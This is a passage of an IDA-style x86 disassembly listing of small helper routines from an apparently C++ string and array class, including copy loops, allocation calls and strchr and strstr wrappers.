		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_4097F9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4097F9:				; CODE XREF: sub_4096D0+D8j
		test	edi, edi
		jbe	short loc_409833
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016E0
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CDF
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401FB4
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409833:				; CODE XREF: sub_4096D0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_4096D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098A0	proc near		; CODE XREF: sub_401717j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4098C0


loc_4098B1:				; CODE XREF: sub_4098A0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402090
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4098B1


loc_4098C0:				; CODE XREF: sub_4098A0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4098A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098E0	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4098E0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409900	proc near		; CODE XREF: sub_402090j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409900	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409920	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409952
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409936:				; CODE XREF: sub_409920+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015B4
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409936
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409952:				; CODE XREF: sub_409920+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409920	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409970	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_409997
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_409986:				; CODE XREF: sub_409970+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015B4
		add	esi, 4
		dec	edi
		jnz	short loc_409986
		pop	esi
		pop	ebx


loc_409997:				; CODE XREF: sub_409970+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_409970	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099B0	proc near		; CODE XREF: sub_401CC1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402059
sub_4099B0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099E0	proc near		; CODE XREF: sub_4015B4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_4099E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A10	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_409A2D
		mov	edx, [esp+arg_8]
		push	esi


loc_409A21:				; CODE XREF: sub_409A10+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409A21
		pop	esi

locret_409A2D:				; CODE XREF: sub_409A10+Aj
		retn
sub_409A10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A40	proc near		; CODE XREF: sub_401CDFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409A62
		mov	eax, [esp+arg_8]
		push	esi


loc_409A51:				; CODE XREF: sub_409A40+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409A51
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409A62:				; CODE XREF: sub_409A40+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409A40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409AA0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_409AAA
		xor	eax, eax


loc_409AAA:				; CODE XREF: sub_409AA0+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_409AA0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AD0	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409AEB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409AEB:				; CODE XREF: sub_409AD0+11j
		retn
sub_409AD0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B00	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B36
		push	edi
		call	near ptr 28118B4h
		nop
		mov	edi, dword_5118CC
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409B36:				; CODE XREF: sub_409B00+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409B00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B70	proc near		; CODE XREF: sub_401CEEj
		mov	al, byte_44915A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409B8F
		call	near ptr 2820000h
		nop
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409B8F:				; CODE XREF: sub_409B70+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409B70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BB0	proc near		; CODE XREF: sub_40142Ej
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43F010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409BB0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409BE0:				; CODE XREF: ___:00402081j
					; ___:loc_40218Fj
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409BF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409BF8:				; CODE XREF: ___:00409BEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C10	proc near		; CODE XREF: sub_401870j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C50	proc near		; CODE XREF: sub_4014D3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43F010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FDC
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409C50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C90	proc near		; CODE XREF: sub_402112j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4447F4
		push	ecx
		mov	dword ptr [esi], offset	off_43F010
		call	sub_5F285B
		nop
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015E1
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409C90	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D00	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43F010
		cmp	eax, edi
		jz	short loc_409D1C
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D1C:				; CODE XREF: sub_409D00+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409D2F
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D2F:				; CODE XREF: sub_409D00+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409D00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D50	proc near		; CODE XREF: sub_4015E1j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409DBA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409D7A
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409D7A:				; CODE XREF: sub_409D50+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0D9E89052h, 837783DCh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409DBA:				; CODE XREF: sub_409D50+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409D50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DF0	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_409DF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409E20:				; CODE XREF: ___:00401A5Aj
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4447F4
		push	ecx
		nop
		call	sub_5F285B
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015E1
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E70	proc near		; CODE XREF: sub_401AAFj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409F02
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_437AEA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409F02
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409EFF
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409EFF:				; CODE XREF: sub_409E70+84j
		mov	[ebx+9], ebp


loc_409F02:				; CODE XREF: sub_409E70+Cj
					; sub_409E70+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409E70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F40	proc near		; CODE XREF: sub_4016C7j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401AAF
		pop	esi
		retn	4
sub_409F40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F70	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4447F4
		push	ecx
		nop
		call	sub_5F285B
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401AAF
		pop	esi
		add	esp, 10h
		retn	4
sub_409F70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FC0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409FD7
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409FD7:				; CODE XREF: sub_409FC0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409FDB:				; CODE XREF: sub_409FC0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A006
		test	cl, cl
		jz	short loc_409FFF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_40A006
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409FDB


loc_409FFF:				; CODE XREF: sub_409FC0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A006:				; CODE XREF: sub_409FC0+23j
					; sub_409FC0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409FC0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A030	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A030	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A060	proc near		; CODE XREF: sub_40150Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A073
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_40A073:				; CODE XREF: sub_40A060+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_40A060	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0A0	proc near		; CODE XREF: sub_4021D0j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_40A0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0D0	proc near		; CODE XREF: sub_401CD0j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A0E3
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A0E3:				; CODE XREF: sub_40A0D0+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A0D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A100	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A142
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015E1


loc_40A142:				; CODE XREF: sub_40A100+13j
		add	esp, 2000h
		retn
sub_40A100	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A170	proc near		; CODE XREF: sub_401D34j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A170	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A190	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_511AEC
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1B4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1B4:				; CODE XREF: sub_40A190+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A190	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1E0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401816
		retn	4
sub_40A1E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A200	proc near		; CODE XREF: sub_401816j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402135
		pop	esi
		retn	8
sub_40A200	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A230	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402135
		retn	4
sub_40A230	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A250	proc near		; CODE XREF: sub_402135j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A265
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A265:				; CODE XREF: sub_40A250+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_511B04
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A27F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A27F:				; CODE XREF: sub_40A250+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A250	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2C0	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A2D3
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A2D3:				; CODE XREF: sub_40A2C0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A2E6
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A2E6:				; CODE XREF: sub_40A2C0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_437AEA
sub_40A2C0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A340	proc near		; CODE XREF: sub_4013E3j
		mov	eax, [ecx+11h]
		retn
sub_40A340	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A360	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A3B2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A3B2:				; CODE XREF: sub_40A360+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_40142E
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_437AEA
sub_40A360	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015E1
		push	ebx
		call	sub_437AD2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
